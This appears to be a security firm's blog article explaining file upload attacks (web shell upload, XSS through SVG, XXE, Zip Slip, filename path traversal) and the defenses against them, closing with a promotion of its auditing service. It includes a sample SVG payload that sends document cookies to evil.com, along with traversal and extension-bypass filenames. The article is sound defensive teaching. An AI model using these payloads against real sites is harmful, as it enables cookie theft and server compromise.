Almost every web application has a file upload feature — profile pictures, document attachments, CSV imports, media uploads. And almost every file upload we test has at least one security issue.
File uploads are uniquely dangerous because they let attackers place their own content on your server. When that content is executable, the result is Remote Code Execution — the most severe vulnerability class.
The Attack Spectrum
40%
of Audits Have Upload Issues
#1
Path to Remote Code Execution
72%
Lead to XSS or Worse
5 min
Time to Exploit
Attack 1: Web Shell Upload
The most dangerous upload vulnerability — placing executable code on the server:
Upload a script disguised as an image
Attacker uploads shell.php.jpg or shell.php with a modified Content-Type header set to image/jpeg
Server stores the file in a web-accessible directory
If the upload directory is served by the web server and PHP execution is enabled, the file is now accessible via URL
Execute the shell
Attacker navigates to https://target.com/uploads/shell.php — the web server executes the PHP code, giving the attacker a command shell on the server
Full server compromise
From the web shell: read database credentials, access other services, pivot to internal network, exfiltrate data, install persistence
🛑Web Shells Are Everywhere
Web shells are one of the most common persistence mechanisms in real-world breaches. Once uploaded, they're small, hard to detect, and give attackers full server access. MITRE ATT&CK lists web shell deployment as a top technique.
Attack 2: XSS via File Upload
As we covered in XSS in 2026, file uploads are a growing XSS vector:
XSS Upload Vectors
SVG with embedded JavaScript
SVG files can contain script tags and event handlers. Upload a profile picture as SVG containing onload="fetch('https://evil.com/steal?cookie='+document.cookie)" — every user who views the profile is compromised.
HTML files served inline
If the application serves uploaded HTML files with Content-Type: text/html, any JavaScript in the file executes in the application's origin — full XSS with access to cookies and APIs.
MIME type sniffing
Upload a file with .jpg extension but HTML content. Without X-Content-Type-Options: nosniff, some browsers will detect the HTML content type and render it as HTML — executing any embedded scripts.
Attack 3: Server-Side Exploitation
File processing on the server creates additional attack surface:
ImageMagick exploits
Image processing libraries (ImageMagick, GraphicsMagick) have had numerous code execution vulnerabilities. A crafted image triggers command execution during resize/convert operations.
XML/XXE in documents
DOCX, XLSX, SVG, and other XML-based formats can contain XXE payloads. When the server parses the file, it fetches external entities — enabling SSRF and file disclosure.
PDF processing
Server-side PDF rendering (for thumbnails, conversion, etc.) can trigger SSRF when the PDF contains external references — linking directly to the attack chains we described in our SSRF deep-dive.
Archive extraction (Zip Slip)
Malicious ZIP/TAR files with directory traversal in filenames (../../etc/cron.d/backdoor). Extracting them overwrites arbitrary files on the server.
This connects to the SSRF attack chains we covered — file processing that makes network requests is a prime SSRF vector.
Attack 4: Path Traversal via Filename
Path Traversal in Uploads
The attack
Attacker sets the filename to ../../config/database.yml or ../../../etc/passwd. If the server uses the client-supplied filename to construct the storage path, the file is written outside the intended upload directory.
Impact
Overwrite application configuration, replace legitimate files with malicious ones, write to web-accessible directories to achieve code execution, or overwrite sensitive files.
The fix
Never use the client-supplied filename for storage. Generate a random filename server-side. If you need the original name, store it in a database column — not on the filesystem.
The Complete Defense
Common (Insufficient) Defenses
- •Check file extension only (.jpg, .png)
- •Check Content-Type header from the client
- •Store files in the web root
- •Rely on WAF to block malicious uploads
Effective Defenses
- •Validate file content (magic bytes) AND extension AND Content-Type
- •Re-encode images server-side (strip metadata and embedded content)
- •Store files outside web root or on a separate domain/CDN
- •Serve all downloads with Content-Disposition: attachment and correct Content-Type
The Secure Upload Architecture
Validate
Check file type by content (magic bytes), not just extension or Content-Type header. Allowlist permitted types.
Rename
Generate a random filename (UUID). Never use the client-supplied name on the filesystem.
Store
Put files on a separate domain or S3 bucket with no script execution. Never in the web root.
Serve
Set Content-Disposition: attachment, correct Content-Type, and X-Content-Type-Options: nosniff on all downloads.
As we detailed in our security headers guide, the X-Content-Type-Options: nosniff header is critical for preventing browsers from executing uploaded files as scripts.
💡The Nuclear Option
The safest approach: never serve user-uploaded files from your application's domain. Use a separate domain (uploads.example.com) or a CDN (CloudFront, Cloudflare R2) with no cookie access to your main application. Even if an attacker achieves XSS through an upload, it executes on the wrong origin.
How We Test File Uploads
Our Web Security Auditor tests every file upload endpoint with:
- Extension bypass — Double extensions (.php.jpg), null bytes (shell.php%00.jpg), case manipulation
- Content-Type manipulation — Valid extension with malicious Content-Type and vice versa
- Polyglot files — Files that are simultaneously valid images and valid scripts
- Path traversal — Directory traversal in filenames
- Server-side processing — ImageMagick exploits, XXE in XML-based formats, Zip Slip
For applications where file uploads are a core feature, our expert review includes manual testing of processing pipelines, race conditions in upload handling, and abuse scenarios specific to your business logic.
File uploads are one of the most commonly exploited features. Our Web Security Auditor tests every upload endpoint automatically, and our expert review covers the full processing pipeline. Secure your uploads.